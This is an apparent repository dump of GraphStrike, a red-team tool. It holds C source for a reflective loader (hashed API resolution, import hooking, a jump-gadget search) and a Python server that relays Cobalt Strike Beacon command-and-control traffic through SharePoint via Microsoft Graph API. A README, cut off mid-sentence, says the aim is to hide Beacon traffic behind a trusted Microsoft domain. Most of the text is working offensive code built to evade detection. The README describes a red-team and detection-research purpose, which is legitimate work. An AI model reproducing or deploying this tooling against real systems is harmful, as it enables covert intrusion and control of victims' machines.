Ptr ) 42 | { 43 | break; 44 | }; 45 | } else 46 | { 47 | if( ( ULONG )( Ptr - ( PUCHAR )buffer ) >= size ) 48 | { 49 | break; 50 | }; 51 | if( ! * Ptr ) 52 | { 53 | ++Ptr; continue; 54 | }; 55 | }; 56 | 57 | if( Cur >= 'a' ) 58 | { 59 | Cur -= 0x20; 60 | }; 61 | 62 | Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr; 63 | }; 64 | return Djb; 65 | }; 66 | 67 | SECTION( E ) PVOID FindModule( ULONG hash, PPEB peb, PULONG size ) 68 | { 69 | PLIST_ENTRY Hdr = NULL; 70 | PLIST_ENTRY Ent = NULL; 71 | PLDR_DATA_TABLE_ENTRY Ldr = NULL; 72 | 73 | Hdr = & peb->Ldr->InLoadOrderModuleList; 74 | Ent = Hdr->Flink; 75 | 76 | for( ; Hdr != Ent; Ent = Ent->Flink ) 77 | { 78 | Ldr = C_PTR( Ent ); 79 | if( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == hash ) 80 | { 81 | if( size != NULL ) 82 | { 83 | *size = Ldr->SizeOfImage; 84 | }; 85 | 86 | return Ldr->DllBase; 87 | }; 88 | }; 89 | 90 | return NULL; 91 | }; 92 | 93 | SECTION( E ) VOID LdrProcessIat( PVOID image, PVOID directory ) 94 | { 95 | API Api; 96 | PPEB Peb; 97 | ANSI_STRING Ani; 98 | UNICODE_STRING Unm; 99 | HANDLE hNtdll; 100 | 101 | PVOID Mod = NULL; 102 | PVOID Fcn = NULL; 103 | PIMAGE_THUNK_DATA Otd = NULL; 104 | PIMAGE_THUNK_DATA Ntd = NULL; 105 | PIMAGE_IMPORT_BY_NAME Ibn = NULL; 106 | PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; 107 | 108 | 109 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 110 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 111 | RtlSecureZeroMemory( &Unm, sizeof( Unm ) ); 112 | 113 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock; 114 | hNtdll = FindModule( H_LIB_NTDLL, Peb, NULL ); 115 | 116 | Api.RtlAnsiStringToUnicodeString = FindFunction( hNtdll, H_API_RTLANSISTRINGTOUNICODESTRING ); 117 | Api.LdrGetProcedureAddress = FindFunction( hNtdll, H_API_LDRGETPROCEDUREADDRESS ); 118 | Api.RtlFreeUnicodeString = FindFunction( hNtdll, H_API_RTLFREEUNICODESTRING ); 119 | Api.RtlInitAnsiString = FindFunction( hNtdll, H_API_RTLINITANSISTRING ); 120 | Api.LdrLoadDll = FindFunction( hNtdll, H_API_LDRLOADDLL ); 121 | 122 | for( Imp = C_PTR( directory ) ; Imp->Name != 0 ; ++Imp ) { 123 | Api.RtlInitAnsiString( &Ani, C_PTR( U_PTR( image ) + Imp->Name ) ); 124 | 125 | if( NT_SUCCESS( Api.RtlAnsiStringToUnicodeString( &Unm, &Ani, TRUE ) ) ) { 126 | if( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Unm, &Mod ) ) ) { 127 | Otd = C_PTR( U_PTR( image ) + Imp->OriginalFirstThunk ); 128 | Ntd = C_PTR( U_PTR( image ) + Imp->FirstThunk ); 129 | 130 | for( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) { 131 | if( IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) { 132 | if( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, NULL, IMAGE_ORDINAL( Otd->u1.Ordinal ), &Fcn ) ) ) { 133 | Ntd->u1.Function = ( ULONGLONG )Fcn; 134 | }; 135 | } else { 136 | Ibn = C_PTR( U_PTR( image ) + Otd->u1.AddressOfData ); 137 | Api.RtlInitAnsiString( &Ani, C_PTR( Ibn->Name ) ); 138 | 139 | if( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, &Ani, 0, &Fcn ) ) ) { 140 | Ntd->u1.Function = ( ULONGLONG )Fcn; 141 | }; 142 | }; 143 | }; 144 | }; 145 | Api.RtlFreeUnicodeString( &Unm ); 146 | }; 147 | }; 148 | }; 149 | 150 | SECTION( E ) VOID LdrProcessRel( PVOID image, PVOID directory, PVOID imageBase ) 151 | { 152 | ULONG_PTR Ofs = 0; 153 | PIMAGE_RELOC Rel = NULL; 154 | PIMAGE_BASE_RELOCATION Ibr = NULL; 155 | 156 | Ibr = ( PIMAGE_BASE_RELOCATION )( directory ); 157 | Ofs = U_PTR( U_PTR( image ) - U_PTR( imageBase ) ); 158 | 159 | while ( Ibr->VirtualAddress != 0 ) { 160 | Rel = ( PIMAGE_RELOC )( Ibr + 1 ); 161 | 162 | while ( C_PTR( Rel ) != C_PTR( U_PTR( Ibr ) + Ibr->SizeOfBlock ) ) 163 | { 164 | switch( Rel->Type ) { 165 | case IMAGE_REL_BASED_DIR64: 166 | *( DWORD64 * )( U_PTR( image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD64 )( Ofs ); 167 | break; 168 | case IMAGE_REL_BASED_HIGHLOW: 169 | *( DWORD32 * )( U_PTR( image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD32 )( Ofs ); 170 | break; 171 | }; 172 | ++Rel; 173 | }; 174 | Ibr = C_PTR( Rel ); 175 | }; 176 | }; 177 | 178 | SECTION( E ) PVOID ResolveAddress(struct MemAddrs* pMemAddrs) 179 | { 180 | return MakeWebRequest(pMemAddrs->hInternet, C_PTR ( OFFSET ( "graphstrike.local" ) ), C_PTR ( OFFSET ( "/" ) ), GET_VERB, NULL, NULL, pMemAddrs); 181 | }; 182 | 183 | SECTION( E ) VOID LdrHookImport( PVOID image, PVOID directory, ULONG hash, PVOID function ) 184 | { 185 | ULONG Djb = 0; 186 | PIMAGE_THUNK_DATA Otd = NULL; 187 | PIMAGE_THUNK_DATA Ntd = NULL; 188 | PIMAGE_IMPORT_BY_NAME Ibn = NULL; 189 | PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; 190 | 191 | for( Imp = C_PTR( directory ) ; Imp->Name != 0 ; ++Imp ) 192 | { 193 | Otd = C_PTR( U_PTR( image ) + Imp->OriginalFirstThunk ); 194 | Ntd = C_PTR( U_PTR( image ) + Imp->FirstThunk ); 195 | 196 | for( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) 197 | { 198 | if( ! IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) 199 | { 200 | Ibn = C_PTR( U_PTR( image ) + Otd->u1.AddressOfData ); 201 | Djb = HashString( Ibn->Name, 0 ); 202 | 203 | if( Djb == hash ) 204 | { 205 | Ntd->u1.Function = ( ULONGLONG )C_PTR( function ); 206 | }; 207 | }; 208 | }; 209 | }; 210 | }; 211 | 212 | SECTION( E ) PVOID FindFunction( PVOID image, ULONG hash ) 213 | { 214 | ULONG Idx = 0; 215 | PUINT16 Aoo = NULL; 216 | PUINT32 Aof = NULL; 217 | PUINT32 Aon = NULL; 218 | PIMAGE_DOS_HEADER Hdr = NULL; 219 | PIMAGE_NT_HEADERS Nth = NULL; 220 | PIMAGE_DATA_DIRECTORY Dir = NULL; 221 | PIMAGE_EXPORT_DIRECTORY Exp = NULL; 222 | 223 | Hdr = C_PTR( image ); 224 | Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew ); 225 | Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 226 | 227 | if( Dir->VirtualAddress ) 228 | { 229 | Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress ); 230 | Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames ); 231 | Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions ); 232 | Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals ); 233 | 234 | for( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx ) 235 | { 236 | if( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == hash ) 237 | { 238 | return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] ); 239 | }; 240 | }; 241 | }; 242 | return NULL; 243 | }; 244 | 245 | SECTION( E ) INT compare( PVOID stringA, PVOID stringB, SIZE_T length ) 246 | { 247 | PUCHAR A = stringA; 248 | PUCHAR B = stringB; 249 | 250 | do { 251 | if( *A++ != *B++ ) 252 | { 253 | return( *--A - *--B ); 254 | }; 255 | } while( --length != 0 ); 256 | 257 | return 0; 258 | }; 259 | 260 | SECTION( E ) PVOID FindGadget( LPBYTE module, ULONG size ) 261 | { 262 | for( int x = 0; x < size; x++ ) 263 | { 264 | if( compare( module + x, "\xFF\x23", 2 ) == 0 ) 265 | { 266 | return ( LPVOID )( module + x ); 267 | }; 268 | }; 269 | 270 | return NULL; 271 | }; -------------------------------------------------------------------------------- /GraphLdr/src/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | SECTION( E ) UINT32 HashString( PVOID buffer, ULONG size ); 4 | SECTION( E ) PVOID FindModule( ULONG hash, PPEB peb, PULONG size ); 5 | SECTION( E ) VOID LdrProcessIat( PVOID image, PVOID directory ); 6 | SECTION( E ) VOID LdrProcessRel( PVOID image, PVOID directory, PVOID imageBase ); 7 | SECTION( E ) VOID LdrHookImport( PVOID image, PVOID directory, ULONG hash, PVOID function ); 8 | SECTION( E ) PVOID ResolveAddress( struct MemAddrs* pMemAddrs ); 9 | SECTION( E ) PVOID FindFunction( PVOID image, ULONG hash ); 10 | SECTION( E ) PVOID FindGadget( LPBYTE module, ULONG size ); 11 | 12 | -------------------------------------------------------------------------------- /GraphStrike.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | 6 | # Add folder containing required imports to path 7 | sys.path.append(f"{os.getcwd()}/inc") 8 | 9 | # Weird place to print a banner, but if user hasn't completed setup we still want the banner with the error message. 10 | from banner import * 11 | print(BANNER) 12 | print("GraphStrike Server\n") 13 | 14 | # Import our GraphStrike assets 15 | from common import * 16 | 17 | ############################# GLOBAL VARS ################################### 18 | access_token = "" #Initialize var which will be updated with token on runtime 19 | masterTracker = dict() 20 | refreshTime = 0 21 | failedGlobal = False 22 | TS_IP = "https://127.0.0.1/" 23 | LISTENER_PORT = 443 24 | CS_MESSAGE_PORT = 5000 25 | HTTP_GET = "http-get" 26 | HTTP_POST = "http-post" 27 | 28 | # External cs-decrypt-metadata.py script from https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-decrypt-metadata.py 29 | metadataScript = "inc/cs-decrypt-metadata.py" 30 | metadataCommand = f"{metadataScript} -f {CS_DIR}.cobaltstrike.beacon_keys -t 7:Metadata,13,12 " # Leave space as we tack on metadata afterwards 31 | 32 | @dataclass 33 | class stateInfo(): 34 | state: str 35 | signaled: bool 36 | 37 | 38 | ############################ USE SCRIPT TO GET BEACONID FROM METADATA ############################ 39 | def GetBeaconId(metadata): 40 | beaconId = None 41 | output = subprocess.getoutput(metadataCommand + metadata).split() 42 | 43 | for line in output: 44 | if "bid:" in line: 45 | beaconId = output[output.index(line) + 2] 46 | 47 | # Make sure the metadata parser actually runs 48 | if beaconId == None: 49 | p_err("Cannot parse BeaconId: are you running in a venv / have you installed all dependencies?", True) 50 | else: 51 | return beaconId 52 | 53 | ################### KILL BEACON THREAD + DELETE FILES IN SHAREPOINT ####################### 54 | def BeaconCleanup(beaconData): 55 | p_warn(f"Beacon {beaconData['beaconId']}: Cleaning up...") 56 | if beaconData['thread'].is_alive(): 57 | beaconData['killThread'] = True 58 | beaconData['outputReady'].set() 59 | 60 | # Wait for Beacon thread to exit before proceeding 61 | while True: 62 | if not beaconData['thread'].is_alive(): 63 | break 64 | 65 | # Delete TS tasking file 66 | p_info(f"Beacon {beaconData['beaconId']}: Deleting TS tasking file") 67 | DeleteFile(access_token, beaconData['id']) 68 | 69 | # Check to see if there is an associated beacon output file and delete that too if so 70 | postFile = beaconData.get('http-post', None) 71 | if postFile != None: 72 | p_info(f"Beacon {beaconData['beaconId']}: Deleting Beacon output file") 73 | DeleteFile(access_token, masterTracker[postFile]['id']) 74 | 75 | # Set state to 'dead' 76 | beaconData['state'].state = 'dead' 77 | 78 | # Inform on completion of cleanup 79 | p_success(f"Beacon {beaconData['beaconId']}: Cleanup complete!") 80 | 81 | ############################ GET LIST OF CHANNELS FUNCTION ############################ 82 | def CheckBeacons(): 83 | 84 | # Get driveItems 85 | driveItems = ListFiles(access_token) 86 | 87 | for entry in driveItems: 88 | 89 | partnerFile = None 90 | mode = None 91 | partnerComms = None 92 | 93 | if BID_DELIMITER in entry: 94 | mode = HTTP_POST 95 | partnerFile = entry.split(BID_DELIMITER)[0] 96 | partnerComms = masterTracker[partnerFile] 97 | else: 98 | mode = HTTP_GET 99 | 100 | # Fetch dictionary containing data concerning this file 101 | comms = masterTracker.get(entry, None) 102 | 103 | # If entry isn't in masterTracker 104 | if comms == None: 105 | 106 | # Add entry to masterTracker and redefine comms 107 | masterTracker[entry] = driveItems[entry] 108 | comms = masterTracker[entry] 109 | 110 | # Entry names WITH BID_DELIMITER are http-post files. These are named identically to their partner http-get file, 111 | # except the http-post file has BID_DELIMITER appended followed by the beaconId. If we find one of these, split on the BID_DELIMITER 112 | # delimiter and populate some extra fields in the partner http-get file. 113 | if mode is HTTP_POST: 114 | comms['busyReading'] = False 115 | comms['http-get'] = partnerFile 116 | partnerComms['http-post'] = entry 117 | 118 | # If the entry name does NOT contain a double dash BID_DELIMITER, this is a new TS tasking channel. 119 | # Start new thread to handle comms, and also add some additional members for Event handlers. 120 | else: 121 | comms['state'] = stateInfo("running", False) 122 | comms['beaconId'] = GetBeaconId(entry) 123 | comms['outputReady'] = threading.Event() 124 | comms['busyWriting'] = False 125 | comms['taskingReady'] = threading.Event() 126 | comms['taskingReady'].set() 127 | comms['killThread'] = False 128 | comms['sleepTime'] = int(SLEEP_TIME) / 1000 129 | 130 | # If a TS tasking file isn't size 0 on initial boot up, there is a task waiting for Beacon to process. 131 | # Clear the taskingReady event so that it blocks the BeaconComms thread until Beacon collects tasking. 132 | if driveItems[entry]['size'] > 0: 133 | comms['taskingReady'].clear() 134 | 135 | # Create new BeaconComms thread for this Beacon. 136 | p_success(f"New Beacon found: {comms['beaconId']}") 137 | comms['thread'] = threading.Thread(target=BeaconComms, args=(entry,)) 138 | comms['thread'].start() 139 | 140 | # For Beacon output files with a size greater than 0, indicating new output 141 | if mode is HTTP_POST: 142 | if driveItems[entry]['size'] > 0: 143 | 144 | # Ensure we aren't already reading this message 145 | if comms['busyReading'] == False: 146 | 147 | # Lock Beacon until we are finished doing so. 148 | comms['busyReading'] = True 149 | 150 | # Check to see if state is exiting + we have been signaled 151 | # If it is, Beacon has processed exit command and we can delete SharePoint files 152 | if partnerComms['state'].state == 'exiting' and partnerComms['state'].signaled == True: 153 | BeaconCleanup(partnerComms) 154 | 155 | else: 156 | # Signal event handler so BeaconComms() knows to fetch the file 157 | partnerComms['outputReady'].set() 158 | 159 | # Ensure there is a BeaconComms thread running for this Beacon, and start one if there isn't. 160 | if not partnerComms['thread'].is_alive(): 161 | partnerComms['killThread'] = False 162 | partnerComms['thread'] = threading.Thread(target=BeaconComms, args=(partnerFile,)) 163 | partnerComms['thread'].start() 164 | 165 | # TS tasking files 166 | else: 167 | # Check to see if we are blocking in BeaconComms since we just sent tasking 168 | if not comms['taskingReady'].is_set(): 169 | 170 | # Make sure that the BeaconComms thread isn't in the middle of uploading a task already 171 | if comms['busyWriting'] == False: 172 | 173 | # If the size of the TS tasking file is 0, we signal that the TS can proceed with the next upload. 174 | # Beacon will set the TS tasking file size to 0 once it has received the tasking. 175 | if driveItems[entry]['size'] == 0: 176 | 177 | # If a thread is already running for this Beacon, signal BeaconComms loops to proceed with more tasking from TS 178 | if comms['thread'].is_alive(): 179 | 180 | # Ensure that the BeaconComms thread hasn't been signaled to exit already 181 | if comms['killThread'] == False: 182 | 183 | # set taskingReady event handler so that BeaconComms funcs will proceed with sending the next TS task 184 | comms['taskingReady'].set() 185 | 186 | # Otherwise start a new thread now that the Beacon has received it's prior tasking and is ready for more 187 | else: 188 | comms['state'].state = "running" 189 | comms['taskingReady'].set() 190 | comms['killThread'] = False 191 | comms['thread'] = threading.Thread(target=BeaconComms, args=(entry,)) 192 | comms['thread'].start() 193 | 194 | # If size != 0, check the lastModified date and if it has been longer than 3x the Beacon's sleep time + 1 minute, signal thread 195 | # to exit to conserve resources. If/when Beacon retrieves the task, we will spawn a new thread to handle resumed comms. 196 | else: 197 | if comms['thread'].is_alive(): 198 | 199 | # Determine how long tasking has been sitting without Beacon reading it 200 | mt = parser.isoparse(driveItems[entry]['lastModified']) 201 | ct = datetime.datetime.now(datetime.timezone.utc) 202 | taskWaitingTime = (ct - mt).total_seconds() 203 | 204 | if taskWaitingTime > (3 * comms['sleepTime']) + 60: 205 | comms['state'].state = "timeout" 206 | comms['killThread'] = True 207 | comms['taskingReady'].set() 208 | return 209 | 210 | ############################ Beacon Thread ######################################## 211 | def BeaconComms(fileName): 212 | 213 | # Retrieve entry from dictionary 214 | comms = masterTracker[fileName] 215 | 216 | # Run in endless loop 217 | while True: 218 | 219 | # Block here depending on state of taskingReady event handler 220 | comms['taskingReady'].wait() 221 | 222 | # If killThread is true, a TS task has been queued for Beacon without it retrieving it for longer than 223 | # the allowed timeout and this BeaconComms channel has been signaled to exit to conserve resources. 224 | if comms['state'].state == 'timeout' and comms['killThread']: 225 | p_info(f"Beacon {comms['beaconId']}: timed out -> killing thread.") 226 | return 227 | 228 | # Send Beacon http-get to TS + return any tasking 229 | tasking = SendGetToTS(fileName, False) 230 | 231 | # If TS returned data, we need to upload it to the TS tasking file 232 | if len(tasking) > 0: 233 | UploadFile(fileName, tasking) 234 | 235 | # Clear taskingReady event handler so that we will block at the start of next loop until we see 236 | # that Beacon has received + cleared the TS tasking file 237 | comms['taskingReady'].clear() 238 | 239 | # Get current time before waiting for signal 240 | bt = datetime.datetime.now(datetime.timezone.utc) 241 | 242 | # Wait until we are signaled that Beacon has output, up to a max of the Beacon's sleep time 243 | comms['outputReady'].wait(comms['sleepTime']) 244 | 245 | # If the sleep ended because we were signaled, retrieve it and send to TS 246 | if comms['outputReady'].is_set(): 247 | 248 | # If state is removing + killThread has been signaled, kill Beacon thread here. 249 | if (comms['state'].state == 'removing') and comms['killThread']: 250 | p_info(f"Beacon {comms['beaconId']}: removed from CS -> killing thread") 251 | return 252 | 253 | # Clear event handler so that we will block again in the future on this Beacon output file 254 | comms['outputReady'].clear() 255 | 256 | # Download the Beacon output file 257 | data = DownloadFile(comms['http-post']) 258 | 259 | # Zero out the Beacon output file to signal Beacon we have received the last 260 | UploadFile(comms['http-post'], str()) 261 | 262 | # Send data to TS 263 | SendPostToTS(fileName, data) 264 | 265 | # If state is 'exiting' and killThread == True, we wait until here to kill Beacon thread so that 266 | # Beacon acknowledgement of exit is received + sent to TS 267 | if (comms['state'].state == 'exiting') and comms['killThread']: 268 | p_info(f"Beacon {comms['beaconId']}: exited gracefully -> killing thread") 269 | return 270 | 271 | # Get the current time after the wait has ended and calculate the difference 272 | at = datetime.datetime.now(datetime.timezone.utc) 273 | elapsedTime = (at - bt).total_seconds() 274 | 275 | # Continue to sleep for the remainder of the sleep cycle 276 | if elapsedTime < comms['sleepTime']: 277 | time.sleep(comms['sleepTime'] - elapsedTime) 278 | 279 | ############################### Download File ####################################### 280 | def DownloadFile(fileName): 281 | fileId = masterTracker[fileName]['id'] 282 | URL = f"{graphFileUrl}{fileId}/content" 283 | headers = { 284 | 'User-Agent':userAgent, 285 | 'Authorization':f'Bearer {access_token}' 286 | } 287 | 288 | while(True): 289 | r = requests.get(url = URL, headers = headers)#, allow_redirects=True) 290 | #Parse output 291 | if "200" in str(r): 292 | #print(f"\nSuccessfully downloaded file: {str(len(r.content))} bytes\n") 293 | break 294 | else: 295 | p_warn(f"Hit except in Downloading file! Data is: {str(r.content)}") 296 | time.sleep(1) 297 | 298 | return r.content 299 | 300 | ############################### Upload File ####################################### 301 | def UploadFile(fileName, data): 302 | lenData = len(data) 303 | comms = masterTracker[fileName] 304 | fileId = comms['id'] 305 | URL = f"{graphFileUrl}{fileId}/content" 306 | uploadHeaders = { 307 | 'User-Agent':userAgent, 308 | 'Authorization':f'Bearer {access_token}', 309 | 'Content-Length':str(lenData) 310 | } 311 | 312 | # Set busyWriting flag so we don't accidentally overwrite tasking 313 | comms['busyWriting'] = True 314 | 315 | while(True): 316 | r = requests.put(url = URL, headers = uploadHeaders, data = data) 317 | if "200" in str(r): 318 | #print(f"\nSuccessfully uploaded file: {str(lenData)} bytes\n") 319 | 320 | data = r.json() 321 | 322 | # If no data was sent, this upload was sent to wipe the http-post Beacon output file. 323 | # Comms is the http-post file in this case. 324 | if lenData == 0: 325 | # Since the request is complete and succesful, set busyReading to False so that 326 | # we know it is safe to read from the Beacon output file in the future 327 | comms['busyReading'] = False 328 | 329 | # If data was sent, this upload was sent to the TS tasking file with Beacon commands. 330 | else: 331 | # Now that the upload is complete, we can set busyWriting to false. 332 | comms['busyWriting'] = False 333 | 334 | # If the state is 'exiting', signal true so that we know we have uploaded the exit commmand to Beacon. 335 | # We will act when Beacon responds with it's exit response. 336 | if comms['state'].state == 'exiting': 337 | comms['state'].signaled = True 338 | 339 | break 340 | elif "404" in str(r): 341 | # Need to shutdown BeacomComms thread here if we got a 404 342 | "" 343 | else: 344 | p_warn(f"Hit except in Uploading file: {str(r)} Data is: {str(r.content)}") 345 | time.sleep(1) 346 | 347 | ############################ Send GET to TS ####################################### 348 | def SendGetToTS(metaData, check): 349 | # 'check' boolean indicates we are just establishing whether we have TS connectivity or not; dont care about data 350 | global failedGlobal 351 | URL = TS_IP + HTTP_GET_PREFIX + metaData 352 | HEADERS = { 353 | 'Accept':'*/*', 354 | 'Accept-Encoding':'gzip, deflate, br', 355 | 'Authorization':'Bearer' 356 | } 357 | 358 | while True: 359 | try: 360 | r = requests.get(url = URL, verify=False) 361 | 362 | # If SendGetToTS was called with check == TRUE, return here because we didn't error out connecting to TS 363 | if check: 364 | return 365 | 366 | # If we previously failed to connect to TS, print a nice message telling the user we have reconnected 367 | if failedGlobal == True: 368 | p_success("Reconnected to team server") 369 | failedGlobal = False 370 | 371 | # Otherwise break because we didn't error out 372 | break 373 | except requests.exceptions.ConnectionError: 374 | if check: 375 | p_err(f"Cannot connect to team server! Ensure that {TS_IP} is listening on port {LISTENER_PORT} and that no firewalls are causing issues!", True) 376 | else: 377 | # Only toggle this if we are the first thread to encounter the TS connection issue 378 | if failedGlobal == False: 379 | failedGlobal = True 380 | p_err("Lost connection to team server! Sleeping 60 second and retrying...", False) 381 | 382 | time.sleep(60) 383 | 384 | return r.content 385 | 386 | 387 | ############################ Send POST to TS ####################################### 388 | def SendPostToTS(fileName, data): 389 | global failedGlobal 390 | beaconId = masterTracker[fileName]['beaconId'] 391 | URL = TS_IP + HTTP_POST_PREFIX + beaconId 392 | HEADERS = { 393 | 'Accept':'*/*', 394 | 'Host':'graph.microsoft.com', 395 | 'Accept-Encoding':'gzip, deflate, br', 396 | 'Content-Type':'application/octet-stream', 397 | 'Authorization':'Bearer' 398 | } 399 | 400 | while True: 401 | try: 402 | r = requests.post(url = URL, data=data, verify=False) 403 | 404 | # If we previously failed to connect to TS, print a nice message telling the user we have reconnected 405 | if failedGlobal == True: 406 | p_success("Reconnected to team server") 407 | failedGlobal = False 408 | 409 | break 410 | except requests.exceptions.ConnectionError: 411 | # Only toggle this if we are the first thread to encounter the TS connection issue 412 | if failedGlobal == False: 413 | failedGlobal = True 414 | p_err("Lost connection to team server! Sleeping 60 second and retrying...", False) 415 | 416 | time.sleep(60) 417 | 418 | # Don't need to return data from TS because it's disposed of by Beacon normally anyways 419 | 420 | ###################### Handle Beacon Config Changes From TS ########################### 421 | def OnClientConnection(conn): 422 | # receive data stream. it won't accept data packet greater than 1024 bytes 423 | data = conn.recv(1024).decode() 424 | 425 | p_warn(f"Command from CS client: {data}") 426 | 427 | # client will send messsage in format $beaconId:$sleepInSeconds 428 | args = data.split(":") 429 | command = args[0] 430 | beaconIds = args[1:] 431 | 432 | # Iterate over each beaconId sent by TS 433 | for bId in beaconIds: 434 | beaconData = None 435 | 436 | # Check each http-get file to locate the matching entry for the beaconId 437 | for entry in masterTracker.keys(): 438 | if 'beaconId' in masterTracker[entry] and masterTracker[entry]['beaconId'] == bId: 439 | beaconData = masterTracker[entry] 440 | 441 | # If we find a match, take actions based on command option 442 | if beaconData != None: 443 | if command == 'sleep': 444 | beaconData['sleepTime'] = int(args[2]) 445 | elif command == 'exit': 446 | beaconData['state'].state = "exiting" 447 | elif command == 'remove': 448 | # If state is exiting or dead, we don't need to perform any additional resource cleanup. 449 | if beaconData['state'].state != 'exiting' and beaconData['state'].state != 'dead': 450 | beaconData['state'].state = "removing" 451 | BeaconCleanup(beaconData) 452 | 453 | message = "DONE" 454 | conn.send(message.encode()) 455 | conn.close() 456 | 457 | ################### Run Socket Server for Beacon Config Changes ####################### 458 | def SocketServer(): 459 | server_socket = socket.socket() # get instance 460 | server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 461 | 462 | # Try and bind port, sometimes this gets stuck if GraphStrike Server has been started/ended repeatedly 463 | p_task("Starting server to listen for message from team server...") 464 | try: 465 | server_socket.bind(("0.0.0.0", CS_MESSAGE_PORT)) # bind host address and port together 466 | p_success("SUCCESS!") 467 | except: 468 | p_err("Failed to bind server port! Is another instance of GraphStrike running?", True) 469 | 470 | server_socket.listen(50) # configure how many client the server can listen simultaneously 471 | 472 | while True: 473 | conn, address = server_socket.accept() # accept new connection 474 | threading.Thread(target=OnClientConnection, args=(conn,)).start() 475 | 476 | ############################ MAIN FUNCTION ############################ 477 | if __name__ == '__main__': 478 | 479 | # Check python3 version 480 | CheckVersion() 481 | 482 | # Test TS listener to ensure we can connect 483 | SendGetToTS("test", True) 484 | 485 | # Start socket server to listen for messages from CS client 486 | threading.Thread(target=SocketServer).start() 487 | 488 | # Sleep for 1 second to give SocketServer thread a chance to start 489 | time.sleep(1) 490 | 491 | # Retrieve access token for application 492 | p_task("Fetching auth token to use with SharePoint...") 493 | access_token, refreshTime = GetAccessToken() 494 | if access_token != None: 495 | p_success("SUCCESS!") 496 | else: 497 | p_err("Cannot fetch access token for application! Run provisioner.py delete and try creating a new app.", True) 498 | 499 | p_success("GraphStrike Server is running and checking SharePoint for Beacon traffic.\n") 500 | p_info("Press CTRL + C to stop Server.") 501 | 502 | # Call CheckBeacons continuously to service Beacon threads 503 | while(True): 504 | 505 | # Refresh access token if necessary 506 | currTime = time.time() 507 | if currTime > refreshTime: 508 | access_token, refreshTime = GetAccessToken() 509 | 510 | CheckBeacons() 511 | time.sleep(0.5) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GraphStrike 2 | ![gscolor](https://github.com/RedSiege/GraphStrike/assets/152210699/adee8da9-b712-4dc5-b9c5-a32798338ee8) 3 | 4 | Release blog: [GraphStrike: Using Microsoft Graph API to Make Beacon Traffic Disappear](https://redsiege.com/blog/2024/01/graphstrike-release) 5 | Developer blog: [GraphStrike: Anatomy of Offensive Tool Development](https://redsiege.com/blog/2024/01/graphstrike-developer) 6 | 7 | ## Introduction 8 | GraphStrike is a suite of tools that enables Cobalt Strike's HTTPS Beacon to use [Microsoft Graph API](https://learn.microsoft.com/en-us/graph/use-the-api) for C2 communications. All Beacon traffic will be transmitted via two files created in the attacker's SharePoint site, and all communications from Beacon will route to https://graph.microsoft.com: 9 | 10 | ![image](https://github.com/RedSiege/GraphStrike/assets/152210699/ddb744d0-93dd-4791-9f5e-3f0f2dfd65bb) 11 | 12 | GraphStrike includes a provisioner to create the required Azure assets for Cobalt Strike HTTPS over Graph API: 13 | 14 | ![image](https://github.com/RedSiege/GraphStrike/assets/152210699/a5d777d6-deb2-4640-a394-1bde0b51bdc8) 15 | 16 | **GraphStrike does not create any paid assets in Azure, so no additional cost is incurred by the use of GraphStrike or it's provisioner.** 17 | 18 | ### Why? 19 | Threat intelligence has been released regarding several different APTs leveraging Microsoft Graph API and other Microsoft services for offensive campaigns: 20 | 1. [BLUELIGHT - APT37/InkySquid/ScarCruft](https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/) 21 | 2. [Graphite - APT28/Fancy Bear](https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite) 22 | 3. [Graphican - APT15/Nickel/The Flea](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/flea-backdoor-microsoft-graph-apt15) 23 | 4. [SiestaGraph - UNKNOWN](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) 24 | 25 | Threat actors continue to leverage legitimate services for illegitimate purposes. Utilizing a high-reputation domain like graph.microsoft.com for C2 communications is extremely effective and desirable, but often complicated and prohibitive from a time and effort standpoint. Most C2 frameworks do not support methods to fetch or rotate access tokens, which makes them unable to use Graph API. This can make it difficult for red teams to replicate these techniques, and deprives defenders of a chance to observe and develop signatures for this kind of activity. GraphStrike seeks to ease that burden and provide a reliable and repeatable process to leverage Microsoft Graph API while keeping the familiarity and reliability of the Cobalt Strike user experience. 26 | 27 | ### Is this an External C2? 28 | Not technically, no. Having previously built a true [External C2 using Graph API](https://github.com/Octoberfest7/Presentations/blob/main/TradecraftCON_2022/Teams_CobaltStrike_External_C2.pdf) (which sent Beacon traffic as Microsoft Teams messages), the burden of having to develop, maintain, and integrate a custom implant that meets the External C2 specification and gets the job done is all too familiar. GraphStrike instead leverages an open source [User Defined Reflective 